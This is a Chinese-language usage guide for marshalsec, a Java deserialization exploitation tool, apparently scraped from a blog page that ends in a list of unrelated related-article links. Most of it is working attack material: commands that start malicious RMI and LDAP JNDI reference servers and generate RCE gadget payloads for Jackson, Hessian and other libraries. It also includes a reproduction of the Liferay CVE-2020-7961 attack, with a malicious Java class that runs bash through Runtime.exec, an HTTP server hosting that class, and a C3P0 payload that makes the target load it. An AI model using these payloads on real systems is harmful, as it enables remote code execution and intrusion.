命令格式

marshalsec命令格式如下:

java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]

参数说明:

  • -a:生成exploit下的所有payload(例如:hessian下的SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin)
  • -t:对生成的payloads进行解码测试
  • -v:verbose mode, 展示生成的payloads
  • gadget_type:指定使用的payload
  • arguments - payload运行时使用的参数
  • marshalsec.<marshaller>:指定exploits,根目录下的java文件名

开启RMI服务

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/css/#ExportObject 1099

开启LDAP服务

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/css/#ExportObject 1389

查询可用Gadget

java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson //以Jackson为例

生成特定Payload

java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.Hessian -v XBean http://127.0.0.1:8080/ExecObject

攻击载荷

目前marshalsec支持的exploit和payload有:

Marshaller Gadget Impact
BlazeDSAMF(0|3|X) JDK only escalation to Java serialization various third party libraries RCEs
Hessian|Burlap various third party RCEs
Castor dependency library RCE
Jackson possible JDK only RCE, various third party RCEs
Java yet another third party RCE
JsonIO JDK only RCE
JYAML JDK only RCE
Kryo third party RCEs
KryoAltStrategy JDK only RCE
Red5AMF(0|3) JDK only RCE
SnakeYAML JDK only RCEs
XStream JDK only RCEs
YAMLBeans third party RCE

列出所有jackson的gadgets 传参为calc

D:\jdk_1.8\bin\java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson -a exploit.exec="calc"

如果想查找组件可以生成的gadgets有哪些

以Jackson为例

D:\jdk_1.8\bin\java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson

如果想查找gadgets可以用于哪些组件生成

方法1、以resin为例,可以查看手册

方法2、选择想看的gadgets->find usages

使用实例:

Liferay Portal CE 反序列化命令执行漏洞(CVE-2020-7961)

完整复现过程:https://vulhub.org/#/environments/liferay-portal/CVE-2020-7961/

marshalsec的使用如下:

首先准备一个恶意的Java类,编译:

// javac LifExp.java
public class LifExp {static {try {String[] cmd = {"bash", "-c", "touch /tmp/success"};java.lang.Runtime.getRuntime().exec(cmd).waitFor();} catch ( Exception e ) {e.printStackTrace();}}
}

在保存着class文件的目录下运行一个HTTP文件服务:

$ ls
LifExp.class  LifExp.java$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

因为目标Java版本较高,我们使用利用链是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,借助marshalsec来生成一个适用于Jackson的POC:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://127.0.0.1/ LifExp

其中,http://127.0.0.1/是刚才启动的保存了恶意class文件的Web服务,LifExp是恶意类名。

这里需要注意 是2个参数

第一个参数 http://127.0.0.1/ 是python启动的http服务器 

第二个参数 LifExp 是先前编译的文件的名称除去后缀class的部分 也是java类名

就此一看很难想象最后怎么通过http能访问到文件 LifExp.class 测试后发现

可能此命令生成的字节码中 最后访问的url会被组合为 http://127.0.0.1/LifExp.class

从而成功访问到 LifExp.class 文件

java 反序列化利用工具 marshalsec 使用简介相关推荐

  1. java反序列化终极工具_检测java反序列化漏洞

    java反序列化终极测试工具是一款检测java反序列化漏洞工具,直接将Jboss.Websphere和weblogic的反序列化漏洞的利用集成到了一起.java反序列化漏洞已经被曝出一段时间了,其强大 ...

  2. php5.5 反序列化利用工具_记一次Spring Devtools反序列化利用

    0x01 背景 最近接触到一道与Java反序列化利用相关的CTF题目,由于之间接触Java反序列化比较少,并且这道题的反序列化利用中涉及到几个比较有意思的地方,例如URLConnection对访问协议 ...

  3. php5.5 反序列化利用工具_Yii框架反序列化RCE利用链2

    Yii框架反序列化RCE利用链2(官方无补丁) Author:AdminTony 1.寻找反序列化点 全局搜索__wakeup函数,如下: 找到\symfony\string\UnicodeStrin ...

  4. php5.5 反序列化利用工具_%00截断配合反序列化的奇妙利用

    文章来源:安全客 原文链接:%00截断配合反序列化的奇妙利用 - 安全客,安全资讯平台 前言 前段时间做了一个CTF题目,发现这道题目相当的精妙,主要是利用了%00的截断来绕过安全校验,最终利用反序列 ...

  5. php5.5 反序列化利用工具_利用Python反序列化运行加载器实现免杀

    前言 前几天在看Python的shellcode加载器,在网上找了一个,结果加载器自身就过不了火绒,测试发现是火绒对关键语句进行了识别. 所以我们要想办法去掉加载器中明显的特征. 原理及实现 在绕过静 ...

  6. JAVA Bean 转换工具 BULL 使用简介

    How to Transform Any Type of Java Bean With BULL 在跨团队或者跨系统的开发调用时,经常遇到 两个系统Java 代码命名不一致的情况,简单直接的办法就是写 ...

  7. ysoserial java 反序列化 Groovy1

    ysoserial简介 ysoserial是一款在Github开源的知名java 反序列化利用工具,里面集合了各种java反序列化payload: 由于其中部分payload使用到的低版本JDK中的类 ...

  8. 告别脚本小子系列丨JAVA安全(6)——反序列化利用链(上)

    0x01 前言 我们通常把反序列化漏洞和反序列化利用链分开来看,有反序列化漏洞不一定有反序列化利用链(经常用shiro反序列化工具的人一定遇到过一种场景就是找到了key,但是找不到gadget,这也就 ...

  9. java 反序列化工具 marshalsec改造 加入dubbo-hessian2 exploit

    0x00 前言 1. 描述 官方github描述: Java Unmarshaller Security - Turning your data into code execution "将 ...

最新文章

  1. 【深度学习】重大里程碑!VOLO屠榜CV任务,无需额外数据,首个超越87%的模型...
  2. form表单reset报 reset is not a function
  3. c语言输入身高计算标准体重_女生标准身高体重对照表
  4. nginx: [emerg] bind() to 0.0.0.0:66 failed (98: Address already in use)
  5. 计算机中键盘可以共享吗,两个电脑怎么共用一个键盘
  6. ContactsProvider系统源码导入配置AndroidStudio编译环境
  7. visio2003字号与word中的字号对应关系
  8. LeetCode 285. 二叉搜索树中的中序后继
  9. php 微信公共平台开发
  10. nmap下载安装介绍使用
  11. linux 命令:less详解
  12. woocommerce-paypal-payments/modules/ppcp-button/src/Assets/SmartButton.php如何解决AVADA主题
  13. 高通 安卓 Uefi 的理解
  14. Maya---物体跟随曲线动画
  15. Burp Suite工具详解
  16. 设计模式(一)——六大原则
  17. 迪米特法则模式:迪米特法的则通俗理解
  18. 华硕B250M+I5-7500黑苹果EFI引导文件
  19. 远程缝制葡萄皮,成本仅1万元,华为200万年薪博士杰作
  20. java基于安卓Android/微信小程序的高校校园跑腿系统 uniapp

热门文章

  1. 捕捉SQL2005的Bug!
  2. 制备pdms膜的方法_“轻若鸿毛”的新型高弹性石墨烯-PDMS传感器
  3. SCons — 程序构建工具
  4. EdgeGallery — MEP — 系统架构
  5. 计算机组成原理 — PCIe 总线
  6. QEMU — VirtIO 虚拟化
  7. Cinder AZ 与 Nova AZ 的同步问题
  8. Python基本语法_运算符详解
  9. 算法:五分钟了解一致性hash算法
  10. vsftpd类似wu-ftpd分类(Class)的配置-给不同网段的人以不同的上传权限-对虚拟用户进行访问IP限制...